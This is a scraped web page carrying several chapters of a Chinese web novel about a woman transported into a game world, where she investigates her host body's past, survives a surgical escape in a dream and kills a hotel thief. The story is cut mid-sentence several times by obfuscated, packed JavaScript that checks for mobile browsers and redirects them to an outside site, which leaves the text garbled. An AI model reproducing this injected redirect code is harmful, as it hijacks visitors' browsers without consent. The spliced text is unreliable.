l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237599|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声。 不再思索对方的目的，寻茵顺着那张手绘地图抵达目的地——未来酒店。 刚走进酒店，便有侍应生带着甜美的笑容迎上前：“您好，有什么可以帮助您的吗？” 寻茵扬眉：“我的房卡找不到了，麻烦帮我开一下门。” “这边请出示一下您的账户，我们查看一下您的房间号。” 寻茵伸出手腕，对方持着扫描仪，隐藏在白皙肌肤下的代码若隐若现。 很快，对方在系统记录中找到记载，对寻茵颔首：“0751对吗？请跟我来。” 寻茵当然毫无疑义，毕竟她现在终于确认自己的房间号。 侍应生利用万能房卡刷开寻茵房间后，面向寻茵道：“为了方便您的出行，我们会暂时授予您账户通行权限，等待房卡制作完成后，我们会重新将房卡交给您并取消权限。” 寻茵点头，随即走了进去。 她的临时居所是酒店很常用的装修风格，样式简约。空间被大致分为三部分，客厅、卧室、浴室。 从她进门，首先可以看见客厅的沙发、茶几和液晶显示屏，显示屏下方有一排杂物柜。 走过沙发和茶几，是一扇相当大的落地窗。寻茵从落地窗向下看，这个视野能很开阔地将一整片街道囊括其中，不远处还没开始闪烁的霓虹灯牌穿插交错。 寻茵向远处眺望，一个很高的建筑群出现在她的视野当中，寻茵对此并不陌生，毕竟她刚从那走了出来。 ——正是曙光中心。 她在落地窗前站了会儿，正要面无表情地收回视线，却忽然看见了什么似地，微微眯起眼睛。 这个世界的气温约莫有二十度左右，可以说是非常适宜。而楼下的一行人却穿得颇为臃肿，尽管他们将手上的厚外套脱下来搁置在手臂，却仍显出几分与这气温相异的格格不入。 几乎是瞬间，寻茵就认定，这些人是玩家。 七楼的高度，普通人的眼力至多看清他们的大概体态，然而—— 她能看清他们脸上的表情。 这是普通人的眼力无法做到的事情。究竟是白乾的身体特殊，还是这里所有人都有这种与现实完全迥异的身体素质？ 其中一名玩家似乎察觉到这道视线，向寻茵所在的窗户看过来，寻茵没有躲闪，她在外面的时候就注意过，这里所有的窗户都是单面的。 也就是说对方看不到窗户另一面的人，但寻茵还是感慨，好敏锐的人。 她记下对方的长相，又着重观察了这些人的神态表情，判断出这是一支临时搭建的队伍。 从站位的远近可以看出这是支陌生人临时组建的队伍，不过几人之间看起来并没有非常生疏，这意味着组队之前他们很可能临时了解过对方。 现在的时间是下午，但寻茵是早上进入这个世界。如果当成游戏来说，进入时间不可能会有特别大的差别，这意味着这些人的出生地很可能相近，并且他们对对方已经大致有一个粗略了解。 如果是这样，寻茵周围也会有出生地相近的‘队友’吗？ 并且她还注意到一个古怪的点。 这些人身上的衣服并不属于这个世界，这说明对方很可能是整个人直接穿进这个世界。可她并不是这样。 她直接进入了原世界土著白乾的身体。以修仙文比喻，对方是身穿，而她是魂穿。 为什么会产生这种差异？换句话说，游戏将玩家本身划分为‘土著’和‘外来人口’有什么目的？ ‘土著’和‘外来人口’明显是两个阵营的人，既然有阵营存在，两边阵营的玩家又会是怎样的状态，是敌对还是合作？ 依照这莫名其妙出现的游戏的尿性，寻茵认为这种状态很可能是敌对，并且在很大一定程度上，两方存在着难以调和的利益冲突，否则对于游戏而言，阵营这种玩法就没有存在的意义。 既然阵营存在，在知道利益冲突究竟是什么之前，寻茵不可能在玩家面前暴露身份。 确认这一点，她数了数玩家的人数，五个。转身离开窗前。 4. 曙光中心2 酒店房间的空间不算小，寻茵的目光停留在显示屏下方的杂物柜上，一个样式简约的背包放在上面。 寻茵将背包拿起来才发现这个背包材质特殊，拉链上还有一道锁，当寻茵的手触碰到背包的一瞬间，一道红光从锁扣上发出，迅速扫描寻茵的瞳孔信息。 然而这个背包里仅仅放着三样东西：一本黑色封皮的日记，一份姓名模糊的检测报告，一条看不出材质但样式非常古朴的项链。 她将这三样东西依次陈列在茶几上：日记本的封皮质感十分特殊，摸起来像是某种动物的皮革；检测报告是普通的白纸黑字，油墨打印；项链则看不出有什么不同。 姓名：白乾 病情描述：患者体表无异化，各项功能正常；精神能量波动稳定，无异化倾向；左肢与后腰侧融合情况良好，无不可控干扰 污染指标：**（未见） 诊断结果：精神污染等级*（未见） 诊断日期：净化纪0144-12-06 是否异变：否 是否治疗：** 主治医师签名： 像是想起什么，寻茵掏出那份璩双给她的入职检测报告，并将两张报告放在一起进行对比。 曙光中心-入职检测报告 检测人：白乾 身体报告：污染低、义体未觉醒、无特殊强化 入职单位：曙光中心-特殊行动部一队 异能报告：无异能 入职考核：通过 综合评定：战斗直觉优秀、信息处理能力优秀、义体潜力大、为曙光中心提交‘再生胚体’；精神防御能力未知；予以入职 评定日期：净化纪145-04-04 审核签名：璩双 精神防御能力未知？ 寻茵的视线在这行字上停留了一瞬。拜厄斯负责她的精神考核，但她刚从拜厄斯那出来就遇到璩双，得到这份报告，所以说在这么短的时间里，璩双是怎样得出这个结论的？ 想不明白，寻茵暂时放下，转而拿起了日记本。 日记本的第一页严谨的写着：净土-145-01-白乾 【01-01】 无论发生什么，都不要忘记我叫白乾。（划掉） 越过‘界碑’后我失去意识，落到净土边界的小村庄，有人救了我，她的名字是塞西尔。 与幽骶区相同，这种位于边界的村子向来属于轻度污染区。这里的村民通常以狩猎遗落物维生。 【01-07】 和塞西尔熟悉了一些，据她所说，她捡到我的时候我浑身都是软绵绵的，村里的游医说我应该是从很高的地方摔下来的，骨头全碎了，活不了。 但是我现在能跑能跳，虽然为了掩盖过快的恢复能力依然在床上躺着，只在塞西尔外出时下床活动。 塞西尔说这一定是我的异能，但只有我自己知道我根本就没有异能，这是它的作用。 【01-15】 塞西尔今天看起来很不安，我问她发生了什么，她说自己的哥哥已经半个月没回家了。 今天本该是他回来的日子，为此她甚至担心我会不会被她哥哥赶出去，因为她哥哥很排斥外乡人。她的哥哥去污染区猎杀遗落物，换取能量点和食物，一般情况下半个月就会回来。 我看着她忐忑不安又充满希冀地问我哥哥是不是迷路了，我怀疑他遭遇不测，因此没办法回答她。 【01-30】 已经过去一个月，之前与塞西尔哥哥同去的人也都没回来，大家都说他们是遇上了高等级遗落之骸，被杀死了。但塞西尔不这么认为。她说自己要去污染区找哥哥，问我愿不愿意一起。当然，我并不是对净土的污染区感到好奇，但塞西尔帮过我，我也愿意帮她一把。 【02-03】 收拾好东西，我们很快就出发，一路问过去，根据其他人提供的线索，我们找到塞西尔哥哥前往的污染区。这是个D级污染区，污染区边缘还有些小村落，大多是些腿脚不方便的老年人。然而当我们向村里人询问塞西尔的哥哥时，他们却说根本就没人来这片污染区。 这是怎么回事？村民会撒谎吗？总之，我们打算在这个村落里先住下来，好在这里有许多没人住的屋子，简单打扫后，塞西尔说她需要准备一些进入污染区的装备。 【02-06】 三天了，塞西尔还是没回来。 【02-15】 我被骗了。 寻茵翻页的手顿住，她看着15号的日记，一时无法理解白乾的处境。谁骗了白乾？村民，还是塞西尔？ 连自己写日记都要搞谜语人，她忍不住咋舌，这是生怕自己之后看懂啊。 再往后翻，日期已经跳到04-01。 【04-01】 我把从绿洲带出的‘再生胚体’交给曙光中心，并且拿到入职机会。 04-04是曙光中心入职的日子，记得守时。璩双为我办理账户和居住证后又为我在未来酒店支付了一个月的能量点，总计1500，拿到薪水记得还给她。 日记凭空跳过一个半月，白乾是怎么从那地方出来的，又是怎么遇见璩双，入职曙光中心的，就好像凭空消失了一样。 寻茵拿出手机，看了看今天的日期，正是04-04，又想到璩双划给她的1000能量点，这下子欠了璩双2500能量点。 她决定用这1000能量点在这个世界好好转转。 最后看了眼手机，时间是18：35，外面的天空呈现出一种暖调的红，寻茵来到了大街上。 未来酒店的周围很明显是大型商圈，各类店铺应有尽有。 借着品尝美食的目的，寻茵将周围转了一圈，记下岔路和小道，随后她走进了一家书店。 如果寻茵想了解这个世界，在数字化时代应该如何尽可能减少自己留下的痕迹？ 寻茵选择纸质图书。 对于之前一直在方舟的白乾而言，纸质图书是罕见的存在，她买书、看书都有合理解释的余地。 看似不经意地拿了几本《带你揭开污染区的神秘面纱》《净土史录》《基础异能及领域全解》后，她在标注着流行文学的书架前站定，开始精挑细选。 《污染物也有爱情》《捡到神秘宝物后我成了净土之王》《统一净土和绿洲又有什么难的？》，感情流、剧情流、乃至争霸流层出不穷，看得寻茵大开眼界。 书店老板是个戴眼镜的中年人，看起来儒雅随和，如果不是额上顶着的山羊角，寻茵差点混淆现实与游戏。 他清点了寻茵买的所有书，慢悠悠道：“比起这本《污染物也有爱情》，《种族不同不可以谈恋爱吗》这本更符合年轻人的口味。你是外乡人？” 寻茵露出惊讶的表情：“谢谢推荐，那这本也加上吧。这是怎么看出来的？” 推销成功的老板表情略微得意，手上麻利地给寻茵打包：“我在这开了快十年了，是不是外乡人一眼就能看出来。加上你不了解这的流行元素，还买了这些不常看的书，我还猜你是最近准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这则新闻的事故发生地是界碑附近的污染区。污染区依靠污染指标、污染范围、污染物等级进行综合评定，污染区每时每刻都有机器实时监测，一旦指标有异，特别行动部门会立即察觉并出发。 然而由于距离较远，当特别行动部门赶到时，村落早已被扩张的污染区吞噬。 寻茵立刻联想到塞西尔的村子。 然而遗憾的是，白乾并未日记里记录村名，寻茵只能先记录下这则新闻提到的几个村落名字。 “……丰和村、古堰村，总计237人，仅有一人生还？” 寻茵念出报纸上的官方数据，推测这一人有没有可能就是塞西尔。 暂时没办法找到更有利的线索，寻茵一时间有些茫然。 对她而言，进入游戏之后的首要目的是活下去。 无论是尽快了解这个世界，还是像现在这样试图从白乾留下的痕迹里推断出她的经历，都是在增加她活下去的几率。 没人不想活下去。如果有人觉得自己不想活下去，那多半出自外部影响，普通人绝非自由选择死亡的人。 而寻茵对生，更有着超乎寻常的渴望。 在这场游戏中，她会不择手段地活下去。 但显然，光有这种觉悟是不够的。除去这个世界的污染区、污染物，白乾这个身份本身显然也存在着不小的麻烦。 然而这都不是最让她担心的。寻茵想到自己在窗边发现的玩家。 ——像她这样的，会有多少？ 5. 曙光中心3 将东西装进带锁的背包，寻茵简单洗漱。 如果是在现实，在躺上床后寻茵会选择玩一会手机。 然而就在她刚拿出手机时，屏幕上的时间也悄悄跳转到零点。 一种莫名的困意如潮水一般顿时吞没她的理智，寻茵对此非常熟悉。这正是她入梦的前兆。 …… 寻茵睁眼，头顶光线尖锐的白炽灯让她的眼睛酸涩眯起。 一旁传来器械触碰的清脆声响，这里还有其他人。 戒备令她浑身肌肉绷紧，然而很快寻茵便失望发现，仅仅只是绷紧肌肉就让她感到脱力，她很可能被注入了肌肉松弛剂或者麻醉剂之类的玩意。 多次入梦的经验让她很快反应过来这也是场梦境，可对寻茵而言却无法放松下来，或者说，这些所有清晰的梦境对她而言都像是足够真实的世界。 “我最后向你确认一遍，你确定要植入污染物作为义体？” 尽管寻茵并未听懂对方的话，但嘴巴却丝毫不受控地回应对方：“……你知道的克瑞斯，我可没有办法，现在我只是一个逃犯而已。” “好吧，”对方嘀咕，“我是搞不懂你们这些高纯净度的上等种在想什么。要是我能像你一样，我才不会愿意植入这种东西污染自己的基因。” 寻茵没有再开口，显然克瑞斯已经习惯寻茵的作风，并未感到奇怪。 “触手植入最多十五分钟，眼睛已经给你植入了，暂时并未出现排异，后续究竟能不能融合可不好说。” 寻茵感觉自己翻了个身，这个动作终于让她感觉到麻木的左臂的存在：“别说废话。” 克瑞斯将准备工作处理完，植物藤条辅助地束缚住寻茵四肢。 她的脊骨暴露在克瑞斯眼前。 寻茵能感受到刀锋游走在肌肤上的战栗感，冰冷的刀刃划开背脊的尖锐痛意让她一瞬间瞪大眼睛。 她的肌肉因疼痛痉挛，额头的青筋崩出，牙齿咬得咯咯作响，一旁的藤条递过一卷毛巾，被寻茵毫不犹豫地咬在口中。 偶尔她也会分不清梦与现实。就像此刻，如此清晰的痛楚，是她哪怕回归现实也难以忘却的。 然而这并非痛苦的极致，寻茵能感觉到有什么东西将她切断的脊骨交联起来，之后便是从骨头里透出的疼痒，比疼痛更难忍耐。 她的额上全是冷汗，不知忍耐了多久，手术终于结束，她整个人陷入虚脱一般的虚弱。 然而没有时间给她多做休息。整齐划一的脚步声在她的耳畔非常清晰，几乎是瞬间她就意识到自己被这群鬣狗发现了。 然而在她的计划之中，本不应该这么快——除非。 寻茵冷冷地看向克瑞斯，她的语气非常低沉：“你背叛我——？” “这么快就发现了，真是敏锐，”克瑞斯正在脱手套，闻言一愣，他抬头，表情非常无奈：“背叛？你说错了，我们从始至终都算不上同谋。” “你知道的，我最大的梦想不过就是我的诊所做大。但是都怪那该死的血缘，凭什么我是一个‘雅拂’，凭什么我只能当黑医生给这些低等种治病？而你，明明已经是‘诺亚’，站在最顶层了，却还不知道珍惜！” “甚至要往自己的身体里植入这种东西破坏你的基因纯净度……呵呵，我已经和追捕你的人谈好条件了，只要抓到你，我就能进入管控城，我也能成为上等人！” 寻茵当然没闲工夫听他的自我剖白，她暗暗积蓄能量。就在她眼尾扫到沾血的手术刀时，身后扎根进脊柱的触手已经冒出头，像小尾巴似的。 随着血液的流失，麻醉带来的脱力和眩晕渐渐减弱。寻茵知道以她现在的身体根本没办法逃过那些搜捕她的人，更麻烦的是，很可能双头鬼也在其中。但是……如果只是拖延一段时间再逃跑还是可以做到的， 她看着同她身形相似的克瑞斯，眼中闪过一道暗芒。 当双头鬼走进这间黑诊所时，那名举报的低等种就站在一旁，医用手套和手术刀上满是血迹，而白乾就躺在治疗床上，裸露着大半背部，尾椎的位置已经被切开。 双头鬼沉下脸，冷酷的视线看着他：“谁让你对她动手的？她的躯体应该由方舟研究！” 克瑞斯恭敬地立在一旁：“尊敬的研究员大人，为了防止逃犯起疑，我正准备对其做身体改造，但您放心，我只是趁手术让其丧失行动能力，并未对其植入任何有可能影响她基因纯净度的东西。” 白乾闻言，愤恨地瞪着克瑞斯，眼中充满怒火，甚至还有些许恐惧。 双头鬼冷冷地盯了一会儿克瑞斯，直到克瑞斯的额上出现冷汗，身体微微颤抖，他才挥挥手，示意机械士兵将白乾带走。 克瑞斯忍不住上前一步，带着迫切而讨好的神情看向双头鬼：“研究员大人，那您答应我的……” “当然会给你，”双头鬼面无表情地说着，机械士兵便上前抓住克瑞斯的手臂，“你身上的血腥味很重啊。” 克瑞斯的眼中有些惊慌，但还保持着一丝理智：“大人，您不能这样，您答应过我的……” “谁会记得低等种的事？”双头鬼淡淡道，“血腥味这么重，以后都不用清理了。带下去处理掉。” 直到克瑞斯的惨叫越来越弱，双头鬼才垂眼看着病床上面色苍白如纸的白乾。 他道：“白乾研究员，我提醒过你，你的异常指数已经临界。如果你把从方舟带走的东西换回来，依照你‘诺亚’的身份，还能宽大处理。” 白乾口中咬着毛巾，眼里满是恐惧，她不停地摇着头。 双头鬼有些焦躁，他一把抽出白乾口中的毛巾，皱眉：“你想说什么？” 然而白乾却指着自己嘴巴，发出“啊啊”声。 双头鬼掰开白乾的下巴，发现她的舌头被人割断。 他眼神一厉，意识到什么，递给白乾一张纸，可这里没有笔，白乾恐惧地看他一眼，咬破手指，鲜红的字在白纸上显得颇为可怖。 “他才是白乾！” 纸在双头鬼的掌心瞬间揉皱，他怒极反笑。 这边寻茵暂时骗过双头鬼的视线，利用手术刀使巧劲刺进机械士兵头颈交联除的缝隙，破坏了藏在脖颈后的控制面板。 看着那两盏灯泡似的眼睛暗下去，寻茵深深地呼出一口气，她按了按手臂，胳膊上的眼睛还在隐隐作痛。 一共九只眼睛，目前只知道其中一只有类似于精神类的作用。 她不禁感慨起白乾的未卜先知，难怪要从方舟带走这些东西。 寻茵环顾四周，周边的区域是全然陌生的景色，不过这边的高楼大厦显然昭示着这片区域的先进，恐怕她的一言一行都会被监控记录下来。尽管她此刻尚且顶着克瑞斯的脸，但恐怕要不了多久，这张脸也会被通缉。 现在她有两个选择，要么换脸，要么躲进一个科技不发达，人员有鱼龙混杂的地方。 她想到一个地方。 就在她逃亡的路上，寻茵曾经看过一片晦暗的，由中低层建筑构起的狭窄小巷。 但她不能顶着这张脸进去。 “站住！把你身上有钱的东西都留下来。”寻茵停下，拉低帽檐，视线里闯进两个流里流气的男人，他们贪婪地顶着寻茵手腕上看起来颇为高科技的手表。那是寻茵从克瑞斯身上薅下来的。 她忽然有一个想法。 随后两名小混混就看见那只看起来就富得流油的肥羊向小巷子跑去。 二人对视一眼，都看见彼此眼里对金钱的渴望。 “追！” 监控记录到这里就已经结束，双头鬼面色阴沉的看着监控，又将进度条往回拉。这段视频他已经不知道看了多少遍。 方舟的大数据分析出白乾最有可能前往的三个区域，幽骶区、源地、野萍之乡，共同点是这三个区域都是污染区。 其中幽骶区位于净土与绿洲的交界，作为D级污染区，幽骶区的污染指标最低，人员混杂，且距离白乾失踪的地方最近，是最有可能藏身的地方。 双头鬼带着一批人亲自前往这里，另派两小队分别前往源地和野萍之乡，吩咐他们看到奇怪的人都先抓住关起来，等他搜完幽骶区还没发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237601|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现再去一个个审。 但对此并不太抱希望。源地与野萍之乡作为B级以上高污染区，除了高等级遗落之骸基本没有生命体，白乾只要不是想找死一般不会去那，但双头鬼想来不懂白乾，因此也无法判断她会不会真的蠢到自寻死路。 至于监控里的那个‘克瑞斯’，双头鬼找到的时候就发现，完全是批了张脸皮而已。 为什么这张脸皮如此真实，恐怕还要多亏她偷走的遗落之骸【九瞳】。 【九瞳】每只眼睛都有不同的能力，其中一瞳的能力是思维控制，这种能力可以作用在人身上，也可以作用在物的身上，只要逻辑通，思维控制就会使这件事情合理化。 比如说换脸这件事，原本很容易看出破绽，但是[长着白乾的脸的人是白乾]这个逻辑合理，并且换脸这个条件寻茵已经完成，因此结果得出。非常强悍的能力，但是使用的时效非常短暂。尤其是白乾使用它控制的是双头鬼这样的角色。 而白乾控制双头鬼之后还没完，甚至将[拥有克瑞斯长相的人就是克瑞斯]这一逻辑施加在监控上，以至于透过监控观察的人完全无法分辨，以此为她争取逃脱时间。 再之后，双头鬼在幽骶区抓到的那个身上带着‘生命’气息的人，并发现那块镜子时，才终于明白她叛逃前那一句莫名其妙的询问的缘由。尽管知道这是白乾的饵，却还是莫名有了被愚弄的不悦。 双头鬼回到方舟之后被上级告知不用再寻找白乾，理由是她身上的生命感应器已经失效。 感应器失效意味承载感应器的生命体已死亡。 生命感应器是每个进入方舟的研究必带的东西，它由液体注射入体，最后会在人的后颈凝结成纳米芯片，能够检测研究员的生命活动和位置，以及具备自爆功能，常用于操控研究员的生命。 但白乾不愧是特级研究员，她身上的生命感应器的爆破、定位功能均被她破坏，当时双头鬼还奇怪于白乾连定位和自爆功能都能破坏，为什么非得留下检测生命的能力。 现在他忽然懂了。联想到凭空消失的白乾，以及她所作的改造手术，作为基因纯净度百分百的‘诺亚’，想要走出那个屏障，需要下定怎样的决心、忍耐怎样的痛苦？ 他不理解，也无法想象。 寻茵敲晕那两个抢劫她的人，一把扯下脸上的脸皮，将克瑞斯的脸换在其中一个人身上，那块手表也被她摘下，带在‘克瑞斯’身上。 随后她捋开袖子，露出左臂上的九只眼睛，其中一直眼睛因为过度使用几乎快闭上，只剩一条缝隙。剩余八只睁得大大的，见寻茵捋开袖子，还再滴溜溜地观察她。 就在克瑞斯的手术室，最紧急的关头，她的手臂忽然抽痛，紧接着整个人进入一种如梦似幻的感觉，在近乎梦呓的状态下，她毫不犹豫地让自己成为‘克瑞斯’，从而躲过双头鬼的视线。 手腕上的眼睛隐隐作痛，似乎在告诉她这就是极限。 她借着这只眼睛成功影响双头鬼的判断之后，感到浑身的力气都被抽空，甚至本就将死的身体更被抽去一丝生机。双头鬼的意识太强大，为了让逻辑更合理，以减少控制意识时的消耗，她做出了换脸这样的决定。 寻茵摸上自己的脸，感受到那火辣辣的触感，她知道现在并非处理的时候，于是深深地吐出一口气，却又格外小心，以防不慎牵扯伤口。 最后一次使用眼睛将能力作用在监控上，一种无法抗拒的疲惫席卷她，她明白自己的身体如同风中之烛，面临的是九死一生的境地。 寻茵眼前一阵重影，几乎看不清任何东西，血液鼓噪的声音响在耳畔。 她挪动身子，任由自己坠入地下管道，脏水臭泥盖在身上，明明身体已到极限，形容也极为狼狈，她却扯开嘴角，露出一个苍白的笑容。 不知过去多久，她的意识一直浮沉不清，直到被头顶的脚步声唤醒，寻茵感到自己身体已经失温，与尸体的区别大概在于她的心脏还在以极微弱的幅度跳动。 ……停留了一阵，脚步声远去了。 再一次，她赢过死神。 6. 曙光中心4 寻茵坐起。第一时间，她的手心有余悸地摸向自己的面颊。 光滑温热的触感似乎在提醒她自己的脸正完好无损地存在，亲手剥离脸皮似乎仅仅只是一场微不足道的梦。 ……梦？ 不。 如果是之前，寻茵可能还会认为这是一场梦，但现在自己已经进入梦中世界，再将其简单定义为梦未免有些自欺欺人。 然而就在此时，她的耳朵敏锐地捕捉到客厅的响动。 寻茵摸出手机，确认现在的时间是早上五点半。 这个时间点…… 她微微眯眼，什么贼这么勤奋？ 卧室的门发出细微声响，寻茵的手上攥着从床头柜随手摸来的剪刀。 寻茵放轻脚步，穿着一身漆黑夜行服的小贼在晨光照射下看着格外显眼。 他在翻寻茵的背包。 一边尝试解开背包的锁，小贼一边嘟囔道：“完了完了，睡过头了，应该不会有人这么早醒吧……” 发现解不开之后，他明显恼羞成怒，掏出一把小刀尝试物理破坏这个锁。 “卧槽！这什么材质啊，怎么可能划不烂？不可能，没有我灰鼠咬不掉的东西。” 就在灰鼠的头变成老鼠脑袋，并试图上嘴咬开背包时，寻茵轻咳两声。 僵住的鼠脑袋转了过来。 “你……你好啊，我是酒店的维、维修人员，对！维修人员！” “是吗，来维修我的包？” 意识到自己这个借口实在愚蠢，自己的动机显然也早就被眼前人看透之后，灰鼠的表情变得狰狞：“这可怪不得我，我本来只是想偷个东西，是你自己要拆穿我的。” “你打算怎么做，杀了我吗？” 寻茵饶有趣味地眯起眼，颇具穿透力的目光似乎将对方切割，她露出一点笑：“……不过，我认为你会先死在我手下呢。” 灰鼠被寻茵挑衅得勃然大怒，尖利的爪子朝她挥来，眼看着就要落在寻茵身上。 不过一眨眼，寻茵藏在掌心的剪刀扎穿灰鼠的掌心，将他整只手钉在墙面上。 寻茵迅速拔出，溅起一两滴血液。 灰鼠发出痛苦的惨叫，捂住自己被钉穿的掌心，然而寻茵并没给他缓和的时间，剪刀扎穿他的咽喉。 太简单了。寻茵面无表情地在灰鼠身上擦干净剪刀。 【恭喜您！成功击杀{灰鼠}，当前对象无掉落。】 她的视线向下，落在刺穿灰鼠腹腔的触手上。 那根触手再度出现，在她展露出攻击意图之后。 完全随她心意而动。 似乎发现在这次的猎物没有能让它吸收升级的核心，触手遗憾地从腹部抽出，嫌弃地甩了甩血迹，有样学样地灰鼠的衣服上将自己擦得干干净净。触手尖端像是与寻茵打招呼一般挥了挥，又迅速躲回腰后。 一只触手还这么爱干净？ 没再管触手，寻茵检查了一番灰鼠的尸体。灰鼠的脑袋依旧没变回来，表情在痛苦下变得狰狞，看起来实在诡异。 而灰鼠的身上也没其他能够证明身份的东西——当然，寻茵从它身上搜出了不少贵重物品和一张卡片，看起来不止偷了寻茵一人。 寻茵站起来，抬脚跨过灰鼠的尸体，走向大门。 她将从灰鼠身上搜到的卡片贴向大门，轻微‘嘀——’一声，门开了。 显然，这很有可能是一张万能卡。 这酒店的安保这么差吗？还是说…… 不过比起思索对方的目的，寻茵首先面临的问题是——如何解决这具尸体。 作为白乾，失手杀害偷盗者，她会怎么处理？ 在绿洲，只有阶级，法规是定给阶级之间看的。那么白乾会选择——交给下一级的人处理。 寻茵拨通酒店内线电话，简单将事情告知后，她要求对方为她带上一份早餐。 “……好的，非常抱歉对您造成这样的困扰，这件事我们会处理的。您真的不需要换个地方就餐吗？” “我不喜欢人多的地方。” 不喜欢人多的地方所以就在死了人的房间吃吗？ …… 酒店房间的门被轻轻叩响，寻茵打开门。 戴着口罩，身穿着未来酒店的制服，手捧餐盘的人出现在寻茵眼前。 寻茵顺着她身后的垃圾车落在她脚上——那是四条章鱼足，其中一只缠住了垃圾车的把手。 她忽然突兀开口。 “工作要求你们戴口罩？” 对方怔了下，但很快她弯起眉眼，声音透过口罩传出：“工作不要求，我只是感冒了，为了不影响客人才戴的。” “是吗……”的确是个合理的解释，但寻茵总觉得还有什么地方不对。 她继续不动声色地试探：“感冒了还要上班？未来酒店这么压榨员工可不好。” “当然不是，是我自己要上班的，都是为了生活。” 寻茵的目光落在对方脸上，她仔细地揣度着是否有什么破绽，只可惜口罩将对方的长相和表情都挡得严严实实，语气和态度都很自然。 她不再开口，侧身让开路，只是仍不着痕迹地打量着保洁，试图在她身上找到自己这莫名警惕的来源。 “您确定要在这里吃吗？” 得到寻茵肯定的回答后，保洁将餐盘搁置在餐桌上，又一一摆好。 她向寻茵俯身，“请慢用。” 随后便转身准备开始清理血迹。 寻茵没有制止，只是道：“这样不算破坏现场吗？” 保洁员抱起那具尸体，看向寻茵：“您有所不知，他的居住证已经因为多次犯罪被吊销，没有了居民身份，自然不被在意和保护。打扫之后我们会把他的尸体送到曙光中心进行分解。” 灰鼠的尸体被丢垃圾似地放进垃圾车，看着她熟练的动作，寻茵忍不住开口：“这样的事情经常发生吗？” “不经常，”保洁员回答的很快，“我们酒店的安保工作非常好，这种事情很少发生，但是灰鼠的基因是老鼠，你知道的，这种生物人们总是防不胜防。” 寻茵边进食边观察着保洁员的动作，确保她的举止完全在自己的监视之下。 很快，地面的血迹被清扫干净，空气中弥漫着一种洗涤剂的味道，寻茵也刚好结束早餐。 她面向寻茵道：“清扫已经完毕，您看一下还有需要改进的地方吗？” 寻茵扫视一圈，视线落回保洁员身上：“非常干净——对了，这些都是灰鼠身上的东西，如果没猜错，应该是其他客人的，麻烦你们酒店转交了。” 保洁上前收拾寻茵面前的残羹，点点头：“好的，祝您居住愉快，如果还有其他需要请致电前台。” 寻茵看着对方的身影从眼前消失，然而那种怪异感不仅没消失，甚至愈演愈烈。 她抬头，看了看显示屏上方的挂钟，时针指向7：35，这个时间，寻茵已经可以去上班了。 上班，没错，虽然进了游戏，但她还得上班。不过，曙光中心是个官方组织，应该也算让她混上编制了吧？ 不再纠结这种莫名的怪异，寻茵打开灰鼠没有打开的背包，检查确认里面的东西丝毫没少后，她将整个包背上。 口袋里灰鼠的那张万能卡提醒她不要太相信未来酒店的安保，好在她的东西不多，可以随身携带。 刚走出酒店，寻茵就被一伙人的争执声吸引。 “我都说了我不叫路易斯，我叫刘毅，我根本就不认识你！”一个男子被两人扣着肩压倒在地，他面前还站着个虎背熊腰的人，手上拿着一张照片似乎在比对。 似乎确认自己没找错人，男人发出一声冷笑，将照片贴到刘毅面前：“你当我瞎吗，这照片上的人不是你？” “这……”男子眼中流露出一闪而逝的排斥被寻茵捕捉到。明明是自己的脸，对方为什么排斥？ 某种猜想呼之欲出，促使寻茵停下了脚步，站在街头旁观这场闹剧。 “在未来酒店蹲了这么多天，今天可算让我逮到你了，快点还钱！” 刘毅的表情非常崩溃，看起来简直有苦说不出：“我真不是，我都不知道这是哪！” “行啊，还想跟我玩失忆是吧，”男子见刘毅无论如何也不愿意说，直接将刘毅的手掰过，与自己的拳头一碰，只听嘀一声，男人手上的手表响了：“对方剩余能量点，0，是否交易？” 催债的男人不可置信地瞪大眼：“一分没剩？这可是一万能量点，路易斯你真能啊，你自己算算这是第几此欠债？我今天就要带你去吊销你的居住证，省得你欠钱也有恃无恐！带走。” 男人挥挥手，手下利落地将刘毅绑起来，捂住嘴塞进车里。 如果放在现实，这应该算拐/卖。 寻茵垂眼观察周围人对此的反应，却发现对于这场景，基本没人在意。说明这种事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎考虑到寻茵对净土并不很了解，璩双又道：“净土的法规之后我会发一份给你，不然违反会比较麻烦。” 先同寻茵交代一番，璩双才开始观察刘毅：“全兑还是拆分？” 男人讨好地笑笑，丝毫看不出在手下面前趾高气昂的模样：“全兑，欠了我一万能量点，滚到两万五，结果这孙子还不上了，今天好不容易让我在未来酒店逮着他，结果一分都没了。把他带去行政厅才发现，这人不止欠了我一个，加起来欠了差不多二十万，这下信誉点扣成负数，居住证就被销了。” “二十万，”璩双的视线移回刘毅面上，她淡淡开口：“你知道这个价格是不可能的。” 男人叹了口气：“这我也知道，只能少一点损失是一点。” “先去做一个全身检测，出了报告之后我再给你报价。” 男人感恩戴德地将刘毅领走之后，寻茵道：“居住证吊销是怎么回事？” 